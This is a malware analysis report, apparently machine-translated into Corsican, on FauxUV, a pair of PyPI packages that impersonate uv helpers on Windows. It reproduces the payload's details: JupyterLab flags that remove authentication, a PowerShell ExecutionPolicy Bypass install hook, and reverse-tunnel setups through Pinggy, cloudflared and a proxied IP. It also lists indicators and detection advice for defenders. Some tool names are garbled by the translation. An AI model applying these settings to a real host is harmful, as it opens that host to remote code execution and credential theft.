TL; DR
Un gruppu di pacchetti PyPI hà pigliatu in prestitu u nome di uv, u gestore di pacchetti Python rapidu è assai pupulare basatu annantu à Rust, per fà finta d'esse aiutanti uv. Ùn furniscenu guasi nisuna vera funziunalità. Ciò chì portanu invece hè un payload Windows chì resiste à Servitore JupyterLab cù l'autentificazione disattivata è, in e versioni successive, u publica nant'à l'internet publicu per mezu di un tunnel inversu.
Eccu tutta a storia in una sola linea: un nome di strumentu di fiducia cum'è l'esca, è JupyterLab cum'è u mutore di esecuzione di codice remotu. Un servitore Jupyter esegue qualsiasi codice chì scrivite in un not.ebook cellula; unu lanciatu cù un gettone viotu è ligatu à ogni interfaccia di rete hè un interprete apertu chì chiunque pò ghjunghje à u portu pò pilotà.
Seguitemu u cluster cum'è FauxUVI dui pacchetti esaminati sò moon-uv (0.0.1 – 0.0.16) è my-magic-uv-helper (0.0.1), publicatu da u listessu operatore è in diretta nant'à PyPI à u mumentu di l'analisi.
| Ecosistema | PyPI |
| Packages | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Piattaforma mirata | Windows |
| Cumportamentu di u core | Servitore JupyterLab micca autenticatu, publicatu nant'à Internet via un tunnel inversu |
| Strumenti legittimi abusati | uv, JupyterLab, cloudflared, Pinggy |
L'esca: un nome di quale avete digià fiducia
uv hè unu di i strumenti Python più installati di l'ultimi dui anni, dunque "un aiutu per uv"Hè un pacchettu chì un sviluppatore installa senza pensà ci duie volte. FauxUV spende a so credibilità interamente nantu à quellu nome. I pacchetti imballanu u ghjustificate uv installatore da Astral - l'URL in u payload puntanu à ospiti veri è reputati - dunque un sguardu rapidu ùn vede nunda, ma riferimenti affidabili. Nisunu di i pacchetti aghjusta in realtà uv funziunalità; u nome hè tuttu u travestimentu.
JupyterLab cum'è u mutore RCE
U centru di u payload hè un lanciatore chì avvia JupyterLab cù ogni guardrail rimossa:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Ogni bandiera toglie una prutezzione, è a scrittura spedita ancu l'annota (in cinese originale): u gettone viotu "Disattiva i cuntrolli di password è di token - chiunque pò cunnette si." jupyter lab hè un IDE di scienza di dati legittimu, ma micca unebook A cellula esegue u codice arbitrariu per design. Cunfiguratu cusì è ligatu à 0.0.0.0, smette di esse un IDE è diventa una shell remota micca autenticata nantu à l'ospite - ùn hè necessariu alcun binariu di malware persunalizatu, solu un strumentu mainstream puntatu in a direzzione sbagliata.
Dui pezzi di supportu rendenu questu accessibile è ripetibile:
- Un trigger d'installazione silenziosa. E prime versioni eseguiscenu PowerShell cù -EsecuzionePolicy Bypass dirittu da setup.py on pip install, in u sfondate cù errori suppressi cusì seme pare nurmale. E versioni successive movenu a listessa primitiva in un pip-uv strumentu di linea di cummanda - è abbandunà cumpletamente l'esecuzione automatica à u mumentu di l'installazione.
- Un tunnel inversu publicu. Un servitore nantu à 0.0.0.0 hè sempre accessibile solu da l'ospiti chì ponu indirizzà si à a macchina. Un modulu inclusu apre un [Pinggy](https://pinggy.io/) Tunnel inversu SSH chì trasmette u portu Jupyter lucale à un indirizzu publicu, eliminendu quellu limite. U script speditu porta ancu - cummentatu - un percorsu alternativu utilizendu Cloudflare's nuvola svasata è un netsh port-proxy à un IP Linode, documentendu u listessu scopu attraversu una infrastruttura diversa.
Mettite inseme: installate u pacchettu, è un host Windows finisce per eseguisce un JupyterLab senza password è publicallu nantu à l'internet apertu.
Cumu FauxUV hà evolutu
E versioni di FauxUV sò state spedite in rapida successione, è u puntu di trigger di u payload si hè spustatu nantu à elle - un ricordu chì una versione segnalata raramente conta tutta a storia di una linea di pacchetti.
| Stage | versioni | Trigger | Ciò chì aghjusta |
|---|---|---|---|
| Installà-ganciu | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py nantu à l'installazione di pip | installazione uv + PATH antepostu |
| Runtime CLI | moon-uv 0.0.5-0.0.13 | pip-uv cummandu | u lanciatore JupyterLab senza password |
| Tunnel | moon-uv 0.0.14-0.0.16 | pip-uv cummandu | un tunnel inversu Pinggy attivu |
In particulare, l'esecuzione automatica à u mumentu di l'installazione era sguassate in e versioni successive, più capaci - dunque un scanner chjave solu in u ciclu di vita hooks puntuaria e versioni più recenti cum'è menu risicatu, esattamente à l'incontrariu.
Indicatori di compromessi
Cunfirmatu leghjendu a fonte di u pacchettu; punti finali marcati Cummentatu sò prisenti in i fugliali ma micca eseguiti da a versione analizata. L'indicatori di rete sò disattivati.
| Type | pressure |
|---|---|
| Cumanda d'installazione | powershell -ExecutionPolicy Bypass recuperà u veru installatore uv, à u mumentu di l'installazione di pip |
| Bandiere JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Tunnel inversu (attivu) | free[.]pinggy[.]io:443 inoltru lucale 127.0.0.1:8888 |
| Ospite di u tunnel (cummentatu) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (cummentatu) | 45[.]79[.]134[.]161 (Linode) via netsh port-proxy |
| Persistenza | antepone %USERPROFILE%\.local\bin à u PERCORSU di l'utilizatore |
Signali cumpurtamentali chì valenu a pena d'esse alerta, indipendentemente da queste stringhe esatte: a pip install chì nasce powershell - Bypass di a pulitica d'esecuzione; qualsiasi jupiteru lancià a cumbinazione gettone = "" cù –ip=0.0.0.0; è SSH in uscita versu *.pinggy.io da un sviluppatore o da una macchina CI.
Cumportamentu osservatu è pruvenienza
I dui pacchetti spartenu un autore è un metudu: un nome di strumentu di fiducia, gating solu per Windows, esecuzione in background cù suppressione di l'errori è dipendenza da strumenti reputati, dunque un'ochjata rapida vede solu URL reputati. A fonte cuntene cummenti in lingua cinese chì descrivenu chjaramente i flag pertinenti à a sicurezza; li riportemu cum'è dichjarazioni osservabili in u schedariu, micca cum'è una dichjarazione nantu à u mutivu. U permette_origine valore è un colab.bat U nome di u schedariu face eco à i flussi di travagliu informali "sparte u mo runtime lucale" chì circulanu per Google Colab. Qualunque sia l'origine, u risultatu imballatu hè u listessu.
Impattu è guida per i difensori
Quale hè espostu à FauxUV. Sviluppatori Windows è corridori CI chì pip install unu di sti pacchetti. Un JupyterLab senza password 0.0.0.0 hè l'esecuzione di codice remota per chiunque pò ghjunghje à u portu; u tunnel elimina u limite "quale pò ghjunghje". U servitore funziona cum'è l'utente chì hà installatu, ereditandu i fugliali, i token è e credenziali cloud di quell'utente.
Perchè hè faciule di mancà. Ogni stringa di rete punta à un host reputable - Astral, JupyterLab, nuvola svasata, Pinggy, Colab. Ùn ci hè micca binariu di malware da hashà è nisun blob offuscatu da decifrà. A scansione basata nantu à a reputazione è a firma sottustima questu, hè per quessa chì a quistione cumportamentale - Chì face fà a macchina l'installazione di stu pacchettu — hè quellu chì l'acchiappa.
Guida:
- Trattate ogni tempu d'installazione powershell - Bypass di a pulitica d'esecuzione cum'è un signale di ruptura di compilazione, qualunque sia l'URL chì recupera.
- Alerta nantu jupiteru lanciatu cù un gettone viotu è –ip=0.0.0.0; sta cumbinazione ùn deve mai cumparisce nantu à una stazione di travagliu o un corridore.
- Monitorà per SSH in uscita versu i fornitori di tunnel (*.pinggy.io, *.trycloudflare.com) da ambienti di sviluppatori è CI.
- stallà uv da [a so fonte ufficiale] (https://docs.astral.sh/uv/) è esse scettichi nantu à i pacchetti "d'aiutu" di terze parti chì imballanu un strumentu digià triviale da installà.
- Appuntà è rivedere e dipendenze à l'aghjurnamentu - una linea di pacchetti pò sviluppà una nova capacità versione dopu versione.



